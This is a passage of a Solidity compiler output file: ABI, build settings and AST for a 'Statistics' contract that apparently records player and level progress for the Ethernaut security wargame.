ress","name":"level","type":"address"}],"stateMutability":"view","type":"function","name":"isLevelCompleted","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","name":"levels","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","name":"players","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"level","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"saveNewLevel"},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitFailure"},{"inputs":[{"internalType":"address","name":"instance","type":"address"},{"internalType":"address","name":"level","type":"address"},{"internalType":"address","name":"player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitSuccess"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/metrics/Statistics.sol":"Statistics"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/metrics/Statistics.sol","id":56451,"exportedSymbols":{"AddressUpgradeable":[48840],"Initializable":[48510],"Statistics":[56450]},"nodeType":"SourceUnit","src":"32:11975:116","nodes":[{"id":55510,"nodeType":"PragmaDirective","src":"32:23:116","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55511,"nodeType":"ImportDirective","src":"57:64:116","nodes":[],"absolutePath":"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol","file":"openzeppelin-upgradeable/proxy/utils/Initializable.sol","nameLocation":"-1:-1:-1","scope":56451,"sourceUnit":48511,"symbolAliases":[],"unitAlias":""},{"id":56450,"nodeType":"ContractDefinition","src":"123:11883:116","nodes":[{"id":55515,"nodeType":"VariableDeclaration","src":"166:24:116","nodes":[],"constant":false,"functionSelector":"a7e1acdf","mutability":"mutable","name":"ethernaut","nameLocation":"181:9:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55514,"name":"address","nodeType":"ElementaryTypeName","src":"166:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":55518,"nodeType":"VariableDeclaration","src":"196:24:116","nodes":[],"constant":false,"functionSelector":"f71d96cb","mutability":"mutable","name":"players","nameLocation":"213:7:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":55516,"name":"address","nodeType":"ElementaryTypeName","src":"196:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55517,"nodeType":"ArrayTypeName","src":"196:9:116","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"public"},{"id":55521,"nodeType":"VariableDeclaration","src":"226:23:116","nodes":[],"constant":false,"functionSelector":"b2596a67","mutability":"mutable","name":"levels","nameLocation":"243:6:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":55519,"name":"address","nodeType":"ElementaryTypeName","src":"226:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55520,"nodeType":"ArrayTypeName","src":"226:9:116","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"public"},{"id":55523,"nodeType":"VariableDeclaration","src":"255:42:116","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCreated","nameLocation":"271:26:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55522,"name":"uint256","nodeType":"ElementaryTypeName","src":"255:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":55525,"nodeType":"VariableDeclaration","src":"303:44:116","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCompleted","nameLocation":"319:28:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55524,"name":"uint256","nodeType":"ElementaryTypeName","src":"303:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":55527,"nodeType":"VariableDeclaration","src":"353:43:116","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfFailedSubmissions","nameLocation":"369:27:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55526,"name":"uint256","nodeType":"ElementaryTypeName","src":"353:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":55539,"nodeType":"StructDefinition","src":"403:173:116","nodes":[],"canonicalName":"Statistics.LevelInstance","members":[{"constant":false,"id":55529,"mutability":"mutable","name":"instance","nameLocation":"442:8:116","nodeType":"VariableDeclaration","scope":55539,"src":"434:16:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55528,"name":"address","nodeType":"ElementaryTypeName","src":"434:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55531,"mutability":"mutable","name":"isCompleted","nameLocation":"465:11:116","nodeType":"VariableDeclaration","scope":55539,"src":"460:16:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55530,"name":"bool","nodeType":"ElementaryTypeName","src":"460:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":55533,"mutability":"mutable","name":"timeCreated","nameLocation":"494:11:116","nodeType":"VariableDeclaration","scope":55539,"src":"486:19:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55532,"name":"uint256","nodeType":"ElementaryTypeName","src":"486:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":55535,"mutability":"mutable","name":"timeCompleted","nameLocation":"523:13:116","nodeType":"VariableDeclaration","scope":55539,"src":"515:21:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55534,"name":"uint256","nodeType":"ElementaryTypeName","src":"515:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":55538,"mutability":"mutable","name":"timeSubmitted","nameLocation":"556:13:116","nodeType":"VariableDeclaration","scope":55539,"src":"546:23:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":55536,"name":"uint256","nodeType":"ElementaryTypeName","src":"546:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55537,"nodeType":"ArrayTypeName","src":"546:9:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"name":"LevelInstance","nameLocation":"410:13:116","scope":56450,"visibility":"public"},{"id":55546,"nodeType":"StructDefinition","src":"582:146:116","nodes":[],"canonicalName":"Statistics.Level","members":[{"constant":false,"id":55541,"mutability":"mutable","name":"noOfInstancesCreated","nameLocation":"613:20:116","nodeType":"VariableDeclaration","scope":55546,"src":"605:28:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55540,"name":"uint256","nodeType":"ElementaryTypeName","src":"605:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":55543,"mutability":"mutable","name":"noOfInstancesSubmitted_Success","nameLocation":"651:30:116","nodeType":"VariableDeclaration","scope":55546,"src":"643:38:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55542,"name":"uint256","nodeType":"ElementaryTypeName","src":"643:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":55545,"mutability":"mutable","name":"noOfSubmissions_Failed","nameLocation":"699:22:116","nodeType":"VariableDeclaration","scope":55546,"src":"691:30:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55544,"name":"uint256","nodeType":"ElementaryTypeName","src":"691:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Level","nameLocation":"589:5:116","scope":56450,"visibility":"public"},{"id":55550,"nodeType":"VariableDeclaration","src":"734:69:116","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfLevelsCompletedByPlayer","nameLocation":"770:33:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":55549,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55547,"name":"address","nodeType":"ElementaryTypeName","src":"742:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"734:27:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55548,"name":"uint256","nodeType":"ElementaryTypeName","src":"753:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":55554,"nodeType":"VariableDeclaration","src":"809:70:116","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCreatedByPlayer","nameLocation":"845:34:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":55553,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55551,"name":"address","nodeType":"ElementaryTypeName","src":"817:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"809:27:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55552,"name":"uint256","nodeType":"ElementaryTypeName","src":"828:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":55558,"nodeType":"VariableDeclaration","src":"885:72:116","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCompletedByPlayer","nameLocation":"921:36:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":55557,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55555,"name":"address","nodeType":"ElementaryTypeName","src":"893:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"885:27:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55556,"name":"uint256","nodeType":"ElementaryTypeName","src":"904:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":55562,"nodeType":"VariableDeclaration","src":"963:71:116","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfFailedSubmissionsByPlayer","nameLocation":"999:35:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":55561,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55559,"name":"address","nodeType":"ElementaryTypeName","src":"971:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"963:27:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55560,"name":"uint256","nodeType":"ElementaryTypeName","src":"982:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":55567,"nodeType":"VariableDeclaration","src":"1040:44:116","nodes":[],"constant":false,"mutability":"mutable","name":"levelStats","nameLocation":"1074:10:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level)"},"typeName":{"id":55566,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55563,"name":"address","nodeType":"ElementaryTypeName","src":"1048:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1040:25:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55565,"nodeType":"UserDefinedTypeName","pathNode":{"id":55564,"name":"Level","nameLocations":["1059:5:116"],"nodeType":"IdentifierPath","referencedDeclaration":55546,"src":"1059:5:116"},"referencedDeclaration":55546,"src":"1059:5:116","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$55546_storage_ptr","typeString":"struct Statistics.Level"}}},"visibility":"private"},{"id":55573,"nodeType":"VariableDeclaration","src":"1090:86:116","nodes":[],"constant":false,"mutability":"mutable","name":"levelFirstInstanceCreationTime","nameLocation":"1146:30:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"typeName":{"id":55572,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55568,"name":"address","nodeType":"ElementaryTypeName","src":"1098:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1090:47:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55571,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55569,"name":"address","nodeType":"ElementaryTypeName","src":"1117:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1109:27:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55570,"name":"uint256","nodeType":"ElementaryTypeName","src":"1128:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}}},"visibility":"private"},{"id":55579,"nodeType":"VariableDeclaration","src":"1182:80:116","nodes":[],"constant":false,"mutability":"mutable","name":"levelFirstCompletionTime","nameLocation":"1238:24:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"typeName":{"id":55578,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55574,"name":"address","nodeType":"ElementaryTypeName","src":"1190:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1182:47:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55577,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55575,"name":"address","nodeType":"ElementaryTypeName","src":"1209:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1201:27:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55576,"name":"uint256","nodeType":"ElementaryTypeName","src":"1220:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}}},"visibility":"private"},{"id":55586,"nodeType":"VariableDeclaration","src":"1268:73:116","nodes":[],"constant":false,"mutability":"mutable","name":"playerStats","nameLocation":"1330:11:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance))"},"typeName":{"id":55585,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55580,"name":"address","nodeType":"ElementaryTypeName","src":"1276:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1268:53:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55584,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55581,"name":"address","nodeType":"ElementaryTypeName","src":"1295:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1287:33:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55583,"nodeType":"UserDefinedTypeName","pathNode":{"id":55582,"name":"LevelInstance","nameLocations":["1306:13:116"],"nodeType":"IdentifierPath","referencedDeclaration":55539,"src":"1306:13:116"},"referencedDeclaration":55539,"src":"1306:13:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage_ptr","typeString":"struct Statistics.LevelInstance"}}}},"visibility":"private"},{"id":55590,"nodeType":"VariableDeclaration","src":"1347:45:116","nodes":[],"constant":false,"mutability":"mutable","name":"playerExists","nameLocation":"1380:12:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":55589,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55587,"name":"address","nodeType":"ElementaryTypeName","src":"1355:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1347:24:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55588,"name":"bool","nodeType":"ElementaryTypeName","src":"1366:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"private"},{"id":55594,"nodeType":"VariableDeclaration","src":"1398:44:116","nodes":[],"constant":false,"mutability":"mutable","name":"levelExists","nameLocation":"1431:11:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":55593,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55591,"name":"address","nodeType":"ElementaryTypeName","src":"1406:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1398:24:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55592,"name":"bool","nodeType":"ElementaryTypeName","src":"1417:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"private"},{"id":55598,"nodeType":"VariableDeclaration","src":"1448:68:116","nodes":[],"constant":false,"mutability":"mutable","name":"averageTimeTakenToCompleteLevels","nameLocation":"1484:32:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":55597,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":55595,"name":"address","nodeType":"ElementaryTypeName","src":"1456:7:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1448:27:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":55596,"name":"uint256","nodeType":"ElementaryTypeName","src":"1467:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":55606,"nodeType":"EventDefinition","src":"1523:141:116","nodes":[],"anonymous":false,"eventSelector":"18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c67551","name":"playerScoreProfile","nameLocation":"1529:18:116","parameters":{"id":55605,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55600,"indexed":true,"mutability":"mutable","name":"player","nameLocation":"1573:6:116","nodeType":"VariableDeclaration","scope":55606,"src":"1557:22:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55599,"name":"address","nodeType":"ElementaryTypeName","src":"1557:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55602,"indexed":true,"mutability":"mutable","name":"averageCompletionTime","nameLocation":"1597:21:116","nodeType":"VariableDeclaration","scope":55606,"src":"1581:37:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55601,"name":"uint256","nodeType":"ElementaryTypeName","src":"1581:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":55604,"indexed":true,"mutability":"mutable","name":"globalLevelsCompleted","nameLocation":"1636:21:116","nodeType":"VariableDeclaration","scope":55606,"src":"1620:37:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55603,"name":"uint256","nodeType":"ElementaryTypeName","src":"1620:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1547:116:116"}},{"id":55619,"nodeType":"ModifierDefinition","src":"1670:122:116","nodes":[],"body":{"id":55618,"nodeType":"Block","src":"1711:81:116","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":55612,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55608,"src":"1744:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55611,"name":"doesLevelExist","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56411,"src":"1729:14:116","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":55613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1729:21:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20646f65736e2774206578697374","id":55614,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1752:21:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_aef4186d2b2aa8f5cb53c65eaf0e471756b73202bdf04b12cf364993e3756725","typeString":"literal_string \"Level doesn't exist\""},"value":"Level doesn't exist"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_aef4186d2b2aa8f5cb53c65eaf0e471756b73202bdf04b12cf364993e3756725","typeString":"literal_string \"Level doesn't exist\""}],"id":55610,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1721:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55615,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1721:53:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55616,"nodeType":"ExpressionStatement","src":"1721:53:116"},{"id":55617,"nodeType":"PlaceholderStatement","src":"1784:1:116"}]},"name":"levelExistsCheck","nameLocation":"1679:16:116","parameters":{"id":55609,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55608,"mutability":"mutable","name":"level","nameLocation":"1704:5:116","nodeType":"VariableDeclaration","scope":55619,"src":"1696:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55607,"name":"address","nodeType":"ElementaryTypeName","src":"1696:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1695:15:116"},"virtual":false,"visibility":"internal"},{"id":55633,"nodeType":"ModifierDefinition","src":"1798:129:116","nodes":[],"body":{"id":55632,"nodeType":"Block","src":"1844:83:116","nodes":[],"statements":[{"expression":{"arguments":[{"id":55627,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"1862:22:116","subExpression":{"arguments":[{"id":55625,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55621,"src":"1878:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55624,"name":"doesLevelExist","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56411,"src":"1863:14:116","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns 